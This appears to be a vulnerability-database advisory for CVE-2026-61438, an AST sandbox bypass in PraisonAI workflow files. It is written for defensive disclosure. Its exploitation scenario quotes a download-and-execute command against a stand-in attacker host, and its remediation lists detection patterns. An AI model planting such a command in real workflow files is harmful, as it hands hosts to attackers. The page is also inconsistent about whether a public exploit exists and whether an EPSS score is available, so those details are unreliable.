CVE-2026-61438: PraisonAI: RCE via broken AST sandbox in workflows
GHSA-26mh-57q7-jfvrHIGHPoC AVAILABLECISA: ATTENDPraisonAI, an AI agent orchestration framework, ships a workflow executor that runs inline Python steps from YAML files without properly validating the abstract syntax tree, letting a crafted workflow with `import os` and `os.system()` calls slip past the sandbox and execute arbitrary OS commands with the privileges of the PraisonAI process. The CVSS 7.3 score reflects severe confidentiality, integrity, and availability impact once triggered, but exploitation requires local access, low privileges, and a user to load the malicious workflow (AV:L/PR:L/UI:R) — this isn't remotely exploitable over the network without that interaction. EPSS scoring isn't available yet, the flaw isn't in CISA's KEV catalog, and no public exploit or Nuclei template exists, so there's no evidence of active exploitation; the vendor advisory (GHSA-26mh-57q7-jfvr) and VulnCheck both confirm the sandbox-bypass mechanism. With only one known downstream dependent, blast radius is currently narrow, but any team that lets users import, share, or template PraisonAI workflows — including from internal marketplaces or third-party sources — should treat this as a first-class code execution risk. Patch to PraisonAI 4.6.78 or later immediately, and until then restrict workflow YAML ingestion to trusted, reviewed sources and monitor for unexpected os.system/subprocess calls spawned by the PraisonAI process.
What is the risk?
High severity (CVSS 7.3) with full confidentiality, integrity, and availability impact upon exploitation, but the attack vector is local and requires user interaction plus low privileges — this caps realistic exploitation likelihood versus a network-exploitable RCE. No EPSS score, no CISA KEV listing, and no public exploit/Nuclei coverage currently exist, so near-term mass exploitation is unlikely; however, the underlying flaw — insufficient AST validation of a documented sandbox — is trivial to weaponize once an attacker gets a malicious workflow file in front of a user, and the resulting impact (arbitrary OS command execution) is total. Any organization that treats PraisonAI workflow files as a trust boundary (accepting them from users, plugins, or shared templates) should reclassify this as high risk regardless of the local attack vector.
How does the attack unfold?
What systems are affected?
How severe is it?
What is the attack surface?
What should I do?
1 stepUpgrade PraisonAI to 4.6.78 or later, where the AST validation gap in _exec_inline_python() is fixed. Until patched, treat all YAML workflow files as untrusted code: restrict workflow imports to a reviewed, version-controlled allowlist, disable or gate inline Python steps for non-admin users, and run PraisonAI processes with least-privilege OS accounts plus container/seccomp isolation so a sandbox bypass doesn't translate to host compromise. For detection, monitor process execution logs for os.system/subprocess/shell spawns originating from the PraisonAI process and alert on 'import os' or 'import subprocess' patterns appearing in newly loaded workflow YAML.
What does CISA's SSVC say?
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-61438?
PraisonAI, an AI agent orchestration framework, ships a workflow executor that runs inline Python steps from YAML files without properly validating the abstract syntax tree, letting a crafted workflow with `import os` and `os.system()` calls slip past the sandbox and execute arbitrary OS commands with the privileges of the PraisonAI process. The CVSS 7.3 score reflects severe confidentiality, integrity, and availability impact once triggered, but exploitation requires local access, low privileges, and a user to load the malicious workflow (AV:L/PR:L/UI:R) — this isn't remotely exploitable over the network without that interaction. EPSS scoring isn't available yet, the flaw isn't in CISA's KEV catalog, and no public exploit or Nuclei template exists, so there's no evidence of active exploitation; the vendor advisory (GHSA-26mh-57q7-jfvr) and VulnCheck both confirm the sandbox-bypass mechanism. With only one known downstream dependent, blast radius is currently narrow, but any team that lets users import, share, or template PraisonAI workflows — including from internal marketplaces or third-party sources — should treat this as a first-class code execution risk. Patch to PraisonAI 4.6.78 or later immediately, and until then restrict workflow YAML ingestion to trusted, reviewed sources and monitor for unexpected os.system/subprocess calls spawned by the PraisonAI process.
Is CVE-2026-61438 actively exploited?
Proof-of-concept exploit code is publicly available for CVE-2026-61438, increasing the risk of exploitation.
How to fix CVE-2026-61438?
Upgrade PraisonAI to 4.6.78 or later, where the AST validation gap in _exec_inline_python() is fixed. Until patched, treat all YAML workflow files as untrusted code: restrict workflow imports to a reviewed, version-controlled allowlist, disable or gate inline Python steps for non-admin users, and run PraisonAI processes with least-privilege OS accounts plus container/seccomp isolation so a sandbox bypass doesn't translate to host compromise. For detection, monitor process execution logs for os.system/subprocess/shell spawns originating from the PraisonAI process and alert on 'import os' or 'import subprocess' patterns appearing in newly loaded workflow YAML.
What systems are affected by CVE-2026-61438?
This vulnerability affects the following AI/ML architecture patterns: agent frameworks, agentic workflow orchestration, automation pipelines.
What is the CVSS score for CVE-2026-61438?
CVE-2026-61438 has a CVSS v3.1 base score of 7.3 (HIGH). The EPSS exploitation probability is 0.31%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0011User ExecutionAML.T0011.000Unsafe AI ArtifactsAML.T0050Command and Scripting InterpreterAML.T0053AI Agent Tool InvocationCompliance Controls Affected
What are the technical details?
Original Advisory
PraisonAI before 4.6.78 contains a remote code execution vulnerability in JobWorkflowExecutor._exec_inline_python() due to insufficient AST validation of workflow script steps. Attackers can create malicious YAML workflow files with import os statements followed by os.system() calls that bypass sandbox checks and execute arbitrary OS commands with process privileges.
Exploitation Scenario
An attacker publishes a seemingly legitimate PraisonAI workflow template — e.g., an 'automated report generator' — to a public repository, forum, or internal shared drive, embedding an inline Python step with `import os` followed by `os.system('curl attacker.com/payload | bash')`. A user or admin imports the workflow into their PraisonAI deployment expecting normal automation; when the workflow runs, JobWorkflowExecutor._exec_inline_python() fails to catch the OS-level call during AST validation, and the command executes with the privileges of the PraisonAI process — giving the attacker a foothold to exfiltrate data, pivot to other systems, or establish persistence.
Weaknesses (CWE)
CWE-184Incomplete List of Disallowed InputsPrimaryCWE-693Protection Mechanism FailurePrimaryCWE-78Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')PrimaryCWE-78Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')PrimaryCWE-78Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')CWE-184 — Incomplete List of Disallowed Inputs: The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete.
- [Implementation] Do not rely exclusively on detecting disallowed inputs. There are too many variants to encode a character, especially when different environments are used, so there is a high likelihood of missing some variants. Only use detection of disallowed inputs as a mechanism for detecting suspicious activity. Ensure that you are using other protection mechanisms that only identify "good" input - such as lists of allowed inputs - and ensure that you are properly encoding your outputs.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:HReferences
- github.com/MervinPraison/PraisonAI/security/advisories/GHSA-26mh-57q7-jfvrvendor-advisory
- vulncheck.com/advisories/praisonai-before-remote-code-execution-via-broken-ast-sandboxthird-party-advisory
- github.com/advisories/GHSA-26mh-57q7-jfvr
- nvd.nist.gov/vuln/detail/CVE-2026-61438
- nvd.nist.gov/vuln/detail/CVE-2026-62248
Timeline
Related Vulnerabilities
CVE-2026-4816810.0PraisonAI: shell injection in Claude Action enables RCE
Same package: praisonaiCVE-2026-6144710.0PraisonAI: RCE via unsandboxed LLM code execution
Same package: praisonaiCVE-2026-614459.9PraisonAI: AICoder root RCE via unsanitized tool calls
Same package: praisonaiGHSA-vmmj-pfw7-fjwp9.9praisonai: sandbox escape gives RCE via codeMode tool
Same package: praisonaiCVE-2026-473929.9praisonaiagents: RCE via Python sandbox bypass
Same package: praisonai